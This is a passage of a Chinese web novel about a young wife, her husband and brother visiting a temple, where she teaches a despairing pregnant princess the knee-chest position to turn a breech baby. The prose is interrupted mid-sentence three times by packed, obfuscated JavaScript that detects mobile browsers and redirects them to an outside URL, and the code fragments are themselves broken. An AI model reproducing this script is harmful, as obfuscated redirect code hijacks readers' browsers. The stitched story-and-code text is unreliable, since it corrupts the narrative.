他揉揉脑门，心情算不上美好地往家里走去。 “还真让你说中了，那汪俊真是个拎不清的，今日又说了不该说的话。此前还不知有多少次这样的情况，一次次下来，估计季则面上有多忍心中就有多恨。”楚明霁回到家，顾不上吃饭，先和明瑶华说起汪俊的为人行事，“科举之事，谁知道以后如何，万一季则运道比汪俊好，焉能不报今日之恨？且我听从宜说，季则是汪县丞出面推给陈廪生作保的，汪县丞的意思多半是让汪俊交好季则。” 单论读书天分，季则是不差的，不然他一个农户子也不能得了县丞的青眼，和县丞之子一道互结考试。汪俊这样几次三番地言行不当，再大的恩情也要打折扣，何况汪县丞对季则的帮助只是一个顺水推舟的人情。 明瑶华呵笑一声，她昨夜就说过汪俊会再和季则发生矛盾，果然应验了，“原来还有这一层，想来是汪俊本就自视甚高，看不上出身不如他的人，而季则偏偏被他父亲看中，他心生不满，故而时时针对季则。我猜，汪俊对姚俊成，也是有一丝轻视的，毕竟他的父亲是官，而姚俊成的伯父是商户。” 她不喜欢汪俊对农户的鄙夷，气道：“农户种田，辛苦至极，今年夏天又比往年旱，收成少，一些没田的佃户温饱都难。他是运气好，对上的季则是个性子隐忍的。要是换个人，当场背一首《观刈麦》，抒发一通为官者当爱民如子的话，再拍一把知府大人的马屁，将知府大人比作白居易，踩着他立自己的名声还不用心虚的。” 明甫光耳朵高高竖起，目光炯炯地听着，对姐姐愈发崇拜。 “罢了，别气坏了身子，左右与他们院试后便无来往了。不提他们，先用饭。”楚明霁知道她嫉恶如仇的性子，忙殷勤的给她递筷子，“明日我们去霞光寺进香赏荷，别因为他们坏了兴致。” * 扬州同知陆府 又一个扬州城内的稳婆逃命似的疾步离去。 平昌郡主背后垫着靠枕，伸手轻轻抚摸七个月大的肚子，掌心感受到一股踢动的劲儿，是腹中胎儿活泼地隔着肚皮和她打招呼。 屋子里站着的丫鬟屏息凝神，俱都不敢发出一点声响。静候良久，平昌郡主道：“收拾东西，我不想待在城里了，我要去庄子上住几天。” 她疲惫地闭上眼：“这件事先别告诉夫君。” 5. 求签 次日，一家人起了个大早，用过早饭，一切收拾妥当，在车马行雇的骡车已经在门口等着了。楚明霁锁上大门，而后踏上车辕进了车厢内，坐在明瑶华旁边。车夫鞭子一扬，骡车慢悠悠地驶出巷子。 巷子里有听到动静的人家跑出门看，手里捧着一碗糙米粥，酸溜溜道：“楚童生家的那位真是好福气，出门还有车坐，也不知道要去哪儿？” 旁边咬着素包子的人随口搭了一句：“许是回乡下老家吧。” “啊……婆婆别打我，我不敢了，再也不敢了。” 巷子尾油铺曹家闹起来了，两人对视一眼，不约而同地三两步窜到曹家隔壁的李大娘家，通过院墙上的缝隙，看得清清楚楚。 曹婆子撕扯着徐氏的头发，一手拿着葫芦瓢往她身上砸，痛心疾首道：“十两银子啊，都给你娘家的那个烂赌鬼哥哥了！你这个贱妇，偷老娘攒的钱！这么恋着娘家，你还嫁人做什么，专坑夫家的贼！” 徐氏哀哀哭泣，脸上都是泪水，楚楚可怜地朝着在屋檐下的憨厚男人求救：“柱哥救我。” 曹柱儿要上前阻止，被曹婆子眼睛一登，又退回去了。 他爹是扬州有名的木匠，他跟着爹打家具刻雕花的工钱加上主家给的赏钱，一年下来也有二十两银子。 他和徐氏成婚两年，就是四十两银子，每次银子一到手全都给徐氏收着了，一点没藏私。徐氏告诉他以后有了孩子用钱的地方多，趁着孩子还没来，要多攒钱。 直到今早曹婆子发现藏钱的罐子里少了一大吊铜钱和几粒碎银，细数数竟然丢了十两银子。 曹婆子当即就怀疑是儿媳妇拿了，她先是说家里有用钱的地方，让徐氏把手头攒的曹柱儿的工钱给她。 徐氏支支吾吾的不肯，曹婆子察觉不妙，进到儿子儿媳的房间一通搜查，一块铜板都没见着，便逼问徐氏，这才知道，原来徐氏把钱都给他哥哥去还赌债了。 曹柱儿的工钱不够，她便动了心思，拿了曹婆子手里的银子。 “我呸！什么秀才公的女儿，不过略识得几个字，就敢要五十两的聘礼，就带着几件破烂衣裳进门，给我家当抹布都不配。”曹婆子知道隔壁有人听着，但此时此刻她也不想给这个儿媳妇保全名声体面，照旧大声斥骂：“婚前就勾着我儿不放，哪个读书人家的姑娘这么不知廉耻，说什么情啊爱，求着男人娶她的？” “你爹当个屁的秀才公，教出来的儿子好赌，女儿好偷！” 徐氏听着一声声的唾骂，屈辱至极，目光偶然瞥见墙头有邻居偷窥，羞愤之下，竟一头撞向檐下的柱子，额头破了一层，鲜血污了半张俏脸，看着就煞人。 看热闹的众人都被骇住了，忙进到曹家院子里劝和，又有人去请大夫来…… ＊ 骡车出了行人拥挤的扬州城，车轱辘飞快地转动。 霞光寺位于山上，有上百级阶梯，山顶地方阔朗，可以俯瞰周遭的田园风光。山脚种着好大一片荷花，湖水清澈，一眼望去亭亭玉立的绿叶红花随风摆动。 明瑶华一步一步地登上阶梯，走到一半就双腿发软，等走到大殿，明瑶华大口喘气，好一会儿才平复气息。 定眼一看，殿内香云袅袅，有香客手持线香，虔诚地跪在蒲团上，乞求菩萨保佑。 明瑶华虽然不信——她来寺院一是纯粹当做出门游玩，二是顾及楚明霁的信仰，但也随大流，和楚明霁明甫光一起跪下烧了柱香。 而后楚明霁去找知客僧帮忙安排精舍以便留宿。 明瑶华和明甫光在大殿内看别人求签解签，听得津津有味。 突然一个中年僧人步履匆匆跑到殿内一长老跟前耳语了几句，长老双手合十，扬声道：“阿弥陀佛，诸位施主，今日有贵客降临，未免打扰贵客雅兴，大殿暂时关闭。本寺在斋堂备好了糕点果品，请诸位施主移步斋堂享用。” 这种突发情况临时清场，斋堂的饭食都是免费的，加上普通百姓对于权贵的天然畏惧，大殿内的香客没人有意见，纷纷离开大殿。 没走多远，明瑶华回头看到一顶轿子停在大殿外，侍女小心地掀开绣着宝相花纹的轿帘，扶着一位怀有身孕的贵夫人出来。 只是贵夫人似乎满脸憔悴？ 明瑶华疑惑着，转身跟着知客僧去了精舍。 寺庙供香客留宿的地方分为两部分，一边供男子居住，一边供女子居住，两处互不相通。 车夫将他们送到山脚就回扬州城了，约定好了明日午时来接他们。 楚明霁就开了两间精舍，知客僧将三人送到精舍处，略交代了几句就走了。 此时是大白天，明瑶华把两间房都看了看。 都是一样的格局，一张床，一张桌子，一套茶具，两把椅子，一盏油灯，除此之外别无他物。 屋子清净，心也跟着静下来了，耳边听着隐隐约约的梵音澄澈心灵，明瑶华打开窗户，窗外花木扶疏，清幽雅致，明瑶华深吸一口气，感叹道：“我想到一句诗，‘久在樊笼里，复得返自然’。你们觉得符不符合这种意境？” 明甫光嘻嘻笑道：“我也想到一句诗，用来形容姐姐你最恰当不过了。” 明瑶华好奇：“是什么，你说来听听？” “终日昏昏醉市井，忽闻夏尽强登山。”这是在笑话她体力不行，上山时气喘吁吁的。 “好啊，光弟你竟敢笑话我。”明瑶华愣了一下才想起来，追着要去揪这个顽皮弟弟的耳朵。 “哈哈哈哈！哎哟！”见姐姐过来，明甫光躲在楚明霁身后，转着圈儿地躲着：“姐夫救我！救我！” 楚明霁一下子护这个，一下子帮那个，乐在其中。 他的整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353303|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个世界都是欢快的笑闹声，比起上次来霞光寺时的悲哀绝望，可谓是天壤之别。 当时他甚至想着要为瑶儿置办身后事了。 幸好，上天垂怜他！ 闹了一阵，明甫光捂着肚子求饶道：“姐姐饶了我吧，我肚子饿了，我们去斋堂吃饭吧。” “……行吧。”她也有点饿了。 霞光寺的斋堂坐着不少香客，面前摆着素包子、素糕、素菜米饭，大口大口地吞咽。 明瑶华展眼看着在座的香客，几乎都是穿着棉麻衣服，有些还打着补丁，不由地附在楚明霁耳边低声道：“这也许就是所谓的祸福相依，那贵人倒是做了件好事。” 楚明霁失笑：“你说得对。”明瑶华天性乐观，此前兄嫂闹分家，她也是这么安慰他的：塞翁失马焉知非福，哥哥嫂子做出这等行径来威逼我们要分家产，可见既不能共患难也不能享富贵，早早的分为两家也是好事。银子没了还能挣，被他们带累得名声没了，那才难办呢。 用罢午饭，贵人许是离开了，大殿开放接待香客。 楚明霁跪在蒲团上，手持签筒，很是虔诚的样子。 明瑶华更信人定胜天，从来没有什么救世主，也不靠神仙皇帝，她只把寺庙当做一处景点，故而立在一旁等着，看着殿内供奉的金身佛像。 她好奇地问明甫光：“你怎么不去求一支签？” 明甫光老实道：“我有你和姐夫，想求的都在身边了，不用再求签问神了。” 明瑶华感动地要伸手去捏捏他的发揪揪，明甫光一下子躲开，笑道：“你捏不到，捏不到。” 明瑶华追着他，两人跑到外面宽阔的广场去了。 楚明霁摇出一支签，上面写着“前生原是此家人，今世相逢定有因。龙虎呈祥遂天子，五三六二是奇期。” 他拿着签文给解签的老和尚，“请大师帮我解此签的姻缘如何？” 此时殿内稀稀疏疏的几个香客，老和尚接过签文，抬头看着眼前的男子：“施主可是不久前来过我寺？” 楚明霁心一紧，点头应是。 老和尚笑道：“施主的姻缘是良缘佳偶，未来美满顺遂。” 楚明霁松了口气，又低声问道：“是和原配妻子美满顺遂吗？” “施主放心，贫僧看你的鳏夫面相已改了，如今是夫妻恩爱白头偕老的相貌。” 楚明霁大惊，继而大喜，“多谢大师吉言，果真如此，我以后每年来寺里捐一笔香火钱。” 明瑶华和弟弟打闹一圈回来，看到楚明霁解开荷包，将里面的二十两银子放入功德箱。 他院试在即，明瑶华下意识地以为他求得了一支问事业的好签，一时激动，何况银子都给了，多说无益。 可是，二十两银子啊…… 她心疼地别开脸，不看那功德箱。 6. 一尸两命 夜间，明瑶华辗转反侧，只因晚饭时吃多了，积食难受，一时睡不着。 好容易要睡着了，隔壁院子突然闹出一点动静，又把她惊醒了。 深夜万籁俱寂，隔壁院子的声音被夜风打着旋儿传到明瑶华耳朵里。 一个年轻女子带着哭腔说道：“我是活不成了，呜呜，奶娘，我不想死，不想死！” 另一个老妇温柔宽慰道：“您别怕，梦都是反的，您一定会平平安安的。咱们已经写信回京城了，京城那边定会有女医送来，一定会没事的。” 明瑶华听不真切，只知道一个在哭一个在安慰，迷迷糊糊的又睡着了。 一夜无梦。 天光渐亮，红日东升，隔壁闹了半宿，这会儿倒是安安静静的。 明瑶华轻手轻脚地去精舍内的小茶房打水洗漱，没惊动人，悄悄出去了。 因不方便去男客住的精舍找楚明霁二人，又没甚饿意，明瑶华索性沿着阶梯往下走。 山脚的荷花开得正盛，娇艳夺目，大如伞盖的荷叶表面滚动着晶莹的露珠，风一吹就滚落湖中，泛起细微的涟漪。 此时山门未开，和尚在做早课，留宿的香客也多在斋堂用早膳，举目望去，空无一人，唯有大片的荷花相伴。 一道九曲桥自湖两岸蜿蜒向内延伸，在湖中央的赏莲亭交汇。 明瑶华深吸一口气，沿着东侧的九曲桥慢悠悠地走向湖中心的赏莲亭，她虽然是个无信仰者，但不得不承认寺庙道观等地方的风景有一种无法用言语描述的清幽宁神。 平昌郡主抚摸着鼓起的肚子，半个身子探出亭子的围栏看向清澈的水面，她慢慢地将身子倾出去，几乎要坠入湖里。 一个孕妇要跳湖！ 明瑶华呼吸一顿，轻松闲适的赏景心情瞬间被吓没了。 她提起裙摆，三两步跑进赏莲亭，伸手挡在孕妇面前，急切道：“你可别想不开啊，不管你遇到什么事，活着总能解决的，死了可就什么都没了。” 来跟孕妇跟前，明瑶华才觉得孕妇眼熟，正是昨日在大殿前看到的那位贵夫人。 被人一打断，平昌郡主心中那股哀伤自毁的冲动劲儿泄了，滑坐在座凳上，眼里含着泪，喃喃地问眼前的女子：“今天死，和两个月后死，有区别吗？” 不，还是有区别的。 她问完就在心中自嘲道，她今天坠湖而亡，跟在她身边的奶娘婢女都会跟着没活路，要是两个月后死，好歹还能给她伺候她的人安排好后路。 “当然有区别。”虽然不知道眼前的贵夫人是何缘故问出这样的话，但面对一个意图寻死的人，明瑶华坚定道，“两个月可以做很多事情，字迹潦草的人可以练出一手端正的字，大字不识一个的人可以学会常用的几百字，爱吃爱玩的人可以吃遍扬州的酒楼，赏遍扬州的美景。” 明瑶华就站在她旁边，确保能随时拦住她，眼睛焦急地四处张望——只看这位贵夫人穿着的海棠红织金牡丹妆花缎的裙子，就知道她身份不凡，她一刻不见人影，身边伺候的人就该急得四处寻找了。 明瑶华暗暗叫苦：这样身份的人，要是在我眼皮子底下有个什么闪失，被贵夫人的家人迁怒是板上钉钉的事。 平昌郡主擦去眼角的泪水，双眼茫然地看着湖中大片的荷叶，突兀地道：“我和夫君成婚已经五年，才盼来肚子里的孩子。得知有了孩子，我身边的亲人都为我感到欢喜。我亦是日夜盼着孩子出生。” “前些天我身边的嬷嬷派人提前请了稳婆来家中住着，以备分娩。我家中富贵，给的赏银多，一开始稳婆欢欢喜喜的，后来稳婆摸了我的肚子，神色有异，没过一个时辰，丫鬟就来传说稳婆摔断腿了，伤筋动骨一百天，要回家修养。” “我一开始没多想，只吩咐嬷嬷换一个稳婆便是了，只是没想到，接连请了三位扬州城中有名的稳婆，都是摸了我的肚子之后就以各种理由请辞。后来我发怒逼问，才知道是我腹中胎儿胎位不正，头朝上，脚朝下，稳婆们都说这样的胎位，一旦难产，母亲多是大出血而死，就是一尸两命的也有。” 平昌郡主容色憔悴，眼里写满了不甘和恐惧，哽咽着道：“我不想死，也舍不得孩子死。” 明瑶华面露惊诧之色，她嘴唇动了一下又抿住，坐下问道：“孩子在腹中的胎位稳婆也能摸出来？稳婆也可能摸错了，请大夫看过没有？” 平昌郡主低头擦泪：“整个扬州有名的稳婆我都请来家里问过，她们都这样说。也有请大夫把脉，大夫只说我腹中的孩子很健康，却连胎位不正都把不出来，还不如稳婆。” 明瑶华细细打量她，肤色是连日休息不好的暗沉，眼底青黑，枯槁疲惫，不由想到自己陷入梦魇的那段时日——对死亡的恐惧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353304|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和对存活的渴望，一时间有些感同身受。 她心中一番天人交战，理智上，最好言语安慰一下，等到贵夫人的丫鬟找来她就可以安全离开了。 她说了扭转胎位的法子就绝对能保证母子平安吗？万一有个什么意外，被迁怒怎么办？ 然而感情上，这是一条人命，她知道扭转胎位的法子却因为私心不说，她以后想起这件事就要良心不安。是的，明瑶华知道如何扭转胎位。 前世，她父母离异，妈妈带着她过，直到她高考后妈妈才再婚，婚后不久妈妈怀孕，怀孕后期检查发现胎儿是臀位，就是通过做胸膝卧位将胎位扭转过来。 明瑶华远远看到有两个青衫丫鬟顺着阶梯走下来，她咬了下牙，道：“我知道一个有七八成把握能扭转胎位的法子。” 平昌郡主猛的抬头，紧紧抓住眼前陌生女子的双手，仿佛溺水者抓住求生木板一般，眼里流露出期盼。 明瑶华道：“这个法子大概半个月见效，到时你再请稳婆就能摸出来了。” 明瑶华强调道：“只是女子生产本就是一道鬼门关，正了胎位也会有其他的危险。我的法子只有七八成的把握，且只能正胎位。” 平昌郡主立刻保证道：“我知道你在担心什么。我大殿里的佛祖发誓，除非我平安生产，否则绝不会对身边人说起此事，若有违誓，让我下辈子投个畜生胎。” 这个誓言不可谓不重，明瑶华稍微放心点了，她看着青衫丫鬟已经下了阶梯走过来，快速把胸膝卧位的动作和注意事项说了，而后道：“我看你的丫鬟来寻你了，我先走了。” 明瑶华站起来，走之前没忍住还说了一句：“你放宽心，少吃油腻，每顿吃七分饱，孩子大了不好生。” 明瑶华朝着青衫丫鬟相反的方向走，很快身影隐没在层层叠叠的翠绿荷叶之中。 朝云和朝雨看到坐在亭子里的郡主，长舒一口气，就听到平昌郡主语气轻快地道：“朝云你去上山和奶娘说，让大家收拾东西，咱们回庄子歇一歇，下午就回家。” 虽然那贵夫人发誓不会对外说出她，明瑶华还是谨慎地找了个隐蔽的地方呆着，等了两刻钟，山上下来浩浩荡荡的一行人，抬着一顶帘子绣着宝相花的轿子，走出了洞开的山门。 等到来寺庙拜佛上香的香客渐渐多起来，明瑶华才混在人群中，跟着上山了。 7. 崔二娘 爬阶梯爬到一半，恰好碰到下来莲湖找人的楚明霁二人。 原来是晨起楚明霁和明甫光略略梳洗过后，就请一个小沙弥去明瑶华住的房舍帮忙传话，谁知小沙弥说在房外叫了几声都没人，请一位女客推门进去查看，屋内空无一人。 楚明霁便猜她是去湖边赏景了。 明甫光又是撒娇又是埋怨：“姐姐你怎么不叫我们一起，自己就去看荷花了。” 明瑶华长叹一口气，“我也后悔呢，早知道等你们一起了。” 楚明霁敏锐地察觉出她一定是在湖边碰到什么了，以眼神问她：“？” 明瑶华回他一个眼神——回家再说。 “不过你们来的晚了，现下湖边的人多起来，赏荷花已经没那股清幽宁静之感了。”明瑶华微微喘着，“你们是想往下走去看荷花还是上去斋堂用早饭？” 楚明霁牵着她走到石梯边上，用衣角拂干净一块地方，“不下去了，我们先坐在此处远看风荷。一会儿我们去斋堂用饭，之后下山，一边近处赏花一边等车夫来接我们。” 小孩子体力不行，有带着小孩来的香客就是这般，孩子累了爬不动了，就在石梯边上坐下歇着，恢复体力再继续走，他们坐着也不丢人。 “……行。”明瑶华顾不得体面了，就这么坐在石梯上。 明甫光无所谓上山下山，高高兴兴地坐在姐姐和姐夫中间，远眺山脚的风景。 寺庙大门之外，源源不断的有香客或是走路或是坐车前来。 土路两旁是一大片的稻田，此刻有农人在稻田里拾稻穗。 石梯左右的山坡种着的枫树叶子还没有变红，鸟儿在树上叽叽喳喳地鸣叫。 在几十载以后，明甫光致仕回到扬州，领着孙子孙女来霞光寺，半途孙子孙女喊累，他便如今日这般拂净石梯，和孙辈席地而坐，怀念地和孙辈说起回忆里和姐姐姐夫游玩霞光寺的快乐。 ＊ 夜晚，明瑶华三两句说了在赏莲亭的事。 楚明霁道：“你说的法子，真有七八成的把握？” 明瑶华点头：“真的。” 楚明霁摸了下她的头发，肯定她的行为：“救人一命胜造七级浮屠，你做的对。你也说了，半个月就见效，若是不中用，她再找别的能人便是，怨不到你头上。” 陆家 平昌郡主将身边伺候的人都打发出去，只留下两个贴身的婢女，把她学到了扭转胎位的法子说了，“朝雨在外间守着，不许人进来。朝云帮我看着时间，到一刻钟了就提醒我。” 在平昌郡主怀孕五个月后，陆同知就去前院住着了，后院里一切都是平昌郡主说了算，她决定要做这个胸膝卧位，谁也阻止不了。 朝云和朝雨看着郡主穿着宽松的素罗寝衣，在床上摆出奇怪又羞人的姿势。 平昌郡主言辞认真，不似玩笑，她们心中纵有疑虑，也只得忍下来。 一刻钟后，朝云一说时间到了，平昌郡主就气喘吁吁地瘫软在床上，不想这个所谓的胸膝卧位说起来简单，做起来还挺累人。 不过再累，她也要试一试。 朝云端来半盏温水，递到平昌郡主唇边，伺候她喝下，方忧虑地问：“郡主，你打哪儿学来的这个法子？就连最擅长接生的稳婆都不知道如何扭转胎位，只在床上趴着撅着，就能让胎位正过来？这个人信得过吗？奴婢担心万一……把情况弄的更糟了可怎么好啊！” 平昌郡主坐起来，朝云忙在她背后垫一个石榴纹青缎靠枕，道：“权当是死马当活马医了，行不行的，过上半个月就知道了。” 不知道是因为有了希望心情好了，还是方才累的，平昌郡主的脸颊红润，瞧着就是一副好气色。 朝云知道自己劝不动，也不敢再劝，只能每天早晚和朝雨一起给平昌郡主打掩护，就连平昌郡主的奶娘都瞒着。 如此过去半个月，这天早上，一顶青绸轿子到了崔二娘家中，将瘸着一条腿的崔二娘吓得心跳如鼓。 崔二娘的接生手艺是祖传的，她十七岁跟在母亲身边打下手，十九岁独自给妇人接生，到如今将近二十年，经她手的妇人几乎都是母子平安，故而是扬州城内最有名的稳婆。 盖因隔着扭转胎位之法她也会一点，且她生得一双好手，手掌小而柔软，天生就是吃稳婆这碗饭的，如今家中住的是三进带小花园的宅子。 但她接生的手艺再好，平昌郡主的胎儿怀相颠倒，她是真的没法子，到时候大人小孩一个都保不住，那郡主的王爷爹、同知夫君能轻飘飘的放过她？ 上面的人一分的怒，落到底下人头上，就是灭顶之灾。 崔二娘坐在一颠一颠的轿子里，愁得整张脸都皱在一起，就像一张皱巴巴的纸，拼命思索着该如何逃过这一劫。 不料来到陆同知府上，迎她的丫鬟笑意盈盈，一路青瓦白墙，花木葱郁，鸟蝶环绕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353305|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 正房内，平昌郡主端坐上位，衣着华贵，腹部凸起，左右各站着一名侍女。 崔二娘一瘸一拐地由丫鬟搀扶进去，正要艰难地行礼问安，平昌郡主便阻止了，直接道：“崔妈妈伤着脚，不必行礼。是我做的不周到，明知道妈妈心动不便，还劳烦妈妈来一趟。” 崔二娘连声道不敢。 平昌郡主这两日隐隐有胎位正过来的感觉，因而笑道：“只是我知道妈妈精于妇人生产，我今日请妈妈来，就是请让妈妈看看，我腹中的胎儿的状况如何？” “是。”崔二娘心一紧，暗忖道：还能如何，上下颠倒的胎位，大的小的都难保！ 只是平昌郡主应该已经知道这事了才对，怎么又请她来看？——自古以来，三姑六婆的消息是最灵通的，崔二娘虽在家养伤，但平昌郡主接连请了好几个稳婆入府，已然被告知胎位不正的事情，她早早的就知道了。 心中所想不过瞬息，崔二娘硬着头皮上前，伸出白皙柔软的一双小手放在平昌郡主的腹部，隔着轻薄的浅紫罗衫上下触摸。 “唉呀！”崔二娘惊喜地叫出声，脸上每一寸肌肤都展开了，“您腹中的胎儿很活泼呢，还踢了我一下。” 平昌郡主嘴角含笑，眉眼舒展，等着崔二娘接下来的话。 果然，崔二娘恭维道：“就连胎位也正得不得了，哎哟哟，我接生过这么多产妇，还没有见过谁的胎位像郡主您这般正的，可见是孩子心疼娘，这个孩子是个孝顺孩子！” 听到这话，屋内的丫鬟都面露喜色。朝雨再一旁道：“真的吗？崔妈妈，你再摸摸，摸准些。” “我崔二娘的手上活计不会有错的。”崔二娘不但自信，还主动请缨，“大夫说我的腿伤修养一个月就能好的差不多，郡主若不嫌我，到时我来给郡主接生，保证郡主和哥儿母子平平安安的。” 连这样的话都敢说出口，可见是真真的了。 平昌郡主心头的愁云彻底散去，喜悦之下，便想起赏莲亭的那位小娘子，真是她的恩人，要不是她，自己今日还不知怎么样呢。 她欲命人去查恩人的名姓以报答，转念又想到当时发下的誓言，罢了，等过些日子再说吧。 崔二娘领着平昌郡主赏的财物，坐着青绸小轿春风得意地回家去了。 只是她奇怪的紧，怎么平昌郡主的胎位这么几天时间就正过来了？ 难道是皇宫里有什么秘密的法子？ 8. 两淮盐运使林大人 翌日，明瑶华就和卢氏结伴一起去集市上买了红豆、面粉、蜂蜜、火腿等物，在家中做了甜口的豆沙月饼和咸甜口的火腿月饼。 淮扬一带的菜肴清淡鲜美，咸中甜味，云腿月饼是滇南那边的特产，此时扬州这边少有。 她也是想讨个巧儿，又新奇，又合扬州人的口味。 既然已经成家立户，又出了孝期，人际来往也该走起来了。 八月十三这天，明瑶华花银子托人给周家送了两匣子不同口味的月饼，并上半年做的牛奶皂四块，艾草皂四块，就足够了。 另外给齐家也送了一份。寻常节礼倒不在于贵重，是个心意就成了，送太贵重的人家还要烦恼怎么回礼。 说来好笑，他们家送礼都是给交好的邻居友人，家族亲眷倒是没甚来往。 下午，卢氏带着女儿青姐儿过来，手里还拎着两包东西。 她将东西放到桌上，先夸明瑶华做的火腿月饼好：“火腿做的月饼竟然这般美味。明姐儿你怎么想的，好巧的心思，又好吃又顶饿。那天我看你买火腿，还以为你要做蜜汁火腿、腌笃鲜一类的好菜，却没想到你是用来做月饼的。” 明瑶华给她和青姐儿倒了茶水，将一碟子绿豆糕送到青姐儿面前，笑道：“哪里是我想出来的，是我在书上看到的方子，这还是第一次做，没想到就做成了。说起来这种月饼还是滇南的做法，只是咱们这边更爱吃五仁的、豆沙的月饼。我也是突然想起来，滇南那边有好火腿，扬州这边也有上好的金华火腿卖，就买来试了试。” 青姐儿方七八岁的年纪，乖乖巧巧地拿起一块绿豆糕吃了。 卢氏惊讶笑道：“这倒是巧了。昨天有滇南盐商送了一些滇南土仪给府衙众人，青姐儿他爹分到了一大包茯苓霜并一些干货。” 明瑶华奇怪道：“滇南的盐商怎么还要给扬州的衙门送礼？” 明瑶华长到如今十八岁，对于一些无可避免的人情世故是知道的。有句话叫阎王好惹，小鬼难缠，去衙门办事，最好备下一份好处费给底下办事引路的小吏，不然能折腾得你两三回都办不成事。 不过读书人去衙门报名科考是例外，毕竟今日的平民学子保不准哪天就鱼跃龙门了，就算只是个秀才，也够资格在衙门某个差事了，办事小吏是不会平白给自己树立敌人的。 难得有她不知道的事，卢氏笑着给她解释起来：“滇南那边吃的盐有好一部分是从两淮运过去的，府衙里负责盐粮的官儿是同知大人，又称作副知府，同知大人和知府大人都在一个衙门里办公，那盐商给副知府送土仪，能落下知府大人吗？给知府大人和同知大人送了，能落下通判大人吗？得罪了谁都不行，索性府衙上下都打点一遍，横竖是些土货，比起贩盐赚到的银子，那还不是九牛一毛。” 明瑶华恍然大悟：“原来是这样。” 她神色平静，不再像小时候那样义愤填膺了，这种潜规则根深蒂固地存在于封建社会时期，就连皇帝都对这种事睁一只眼闭一只眼，非人力可以改变的。 卢氏小声道：“这些不算什么，我听说那滇南盐商还往两淮盐运使林大人府上送了许多好东西。滇南那边盛产玉石，随便一块好玉就比一篓子的茯苓霜干竹笋值钱呢。” 话说远了，卢氏收回话头，点了点桌上的两包东西，道：“你送月饼我一家子都喜欢得很，我公公特意叫我送一些茯苓霜和桂圆干给你尝尝，茯苓霜宁心安神，桂圆干补气养血，都是养人的好东西。你一向爱喝牛奶，这茯苓霜用热牛奶冲服，再好不过了。” “好香啊。”明瑶华拿起一包打开，里面正是茯苓霜，清香洁白，一看就知道是上好的，她放下小心包起来，笑着谢道：“多谢姐姐，我正需要这样的东西呢，家里那两个天天闷着读书，倒是比我还需要喝一碗牛奶茯苓霜安安神了。” 卢氏取笑道：“你夫君这是在发奋给你挣个凤冠霞帔呢，你就等着享福吧。” 明瑶华大方笑道：“那就借姐姐吉言了。” “妹妹定能顺心如意。”卢氏恭维了一句，站起来告辞：“行了，我也该回去了。等得空了我再来找你。” ＊ 中秋这晚，一家人用了晚饭，就在院子里摆了月饼鲜果饮子，悠闲赏月。 明瑶华斜斜靠在竹榻上，手里捧着一杯自制的奶茶，望着悬挂在空中的皎洁明月，充满期待地计划：“等开春了我要在院子里搭一个葡萄架子，明年夏天就可以坐在葡萄架下面看星星了。” 明甫光吸了一口奶茶，腮帮子一鼓一鼓地嚼着奶茶里头的芋头木薯丸子，积极回应道：“还可以吃葡萄，就不用去外面买了。” 楚明霁笑道：“葡萄树一年可结不了果子。” 明甫光摇头晃脑地指点：“姐夫，你可真扫兴，这种时候你要快点夸姐姐聪明能干心思巧，葡萄树总有结果子的那一天。” 明甫光一脸你不如我会讨姐姐欢心的得意。 明瑶华继续畅想未来：“我要多多的做一批香皂，冬天油污难清洗，到时候可以试着卖给酒楼后厨。赚了钱我想买一个铺子，专卖香膏香露香珠一类玩意儿。扬州繁华，过客行商多，女眷手里有钱，不愁卖不出去。” “我也要好好读书，以后考秀才，考举人，考状元。”明甫光立下壮志。 “哎哟。”明瑶华笑着揉他的脑袋，“光哥儿真有志气。姐姐等你考中状元的那一天。” 楚明霁好似忽然想起什么，面色古怪。 门外传来青姐儿和齐壮的说话声，卢氏的叩门声，“明姐儿！” “在呢。”明瑶华忙起来去开门，楚明霁跟在其后，明甫光这个小尾巴也跟着挪步出去。 上了拴的大门打开一扇，明瑶华探出半个身子，“卢姐姐，你这就逛夜市回来了？” “回来了，东大街那边到处都是人，你齐大哥担心有拐子，催着要回来。”卢氏递给她一盏夹纱灯，笑道，"我知道你没出去，给你带了个灯回来，摆在家里看着喜庆。" 明瑶华接过灯道谢。 齐壮道：“小心为上，我看年年节庆之后都有到官府报案说丢了孩子，能找回来的十不足一。街上人那么多，保不齐拐子就藏在哪个角落里，趁当爹妈的不防备，把孩子拐了去。” “知道知道，难道我这个当娘的不在乎青姐儿吗？净啰嗦！”卢氏一边和齐壮拌嘴，一边往家里走。 深夜，楚明霁穿上白色中衣，端着一盆用过的水往门外院子一泼，关上门回到床边。 明瑶华穿着一件浅黄肚兜，素纱裤儿，餮足地趴在枕上，乌压压的发丝披散在肩背，愈发显得肌肤雪白。 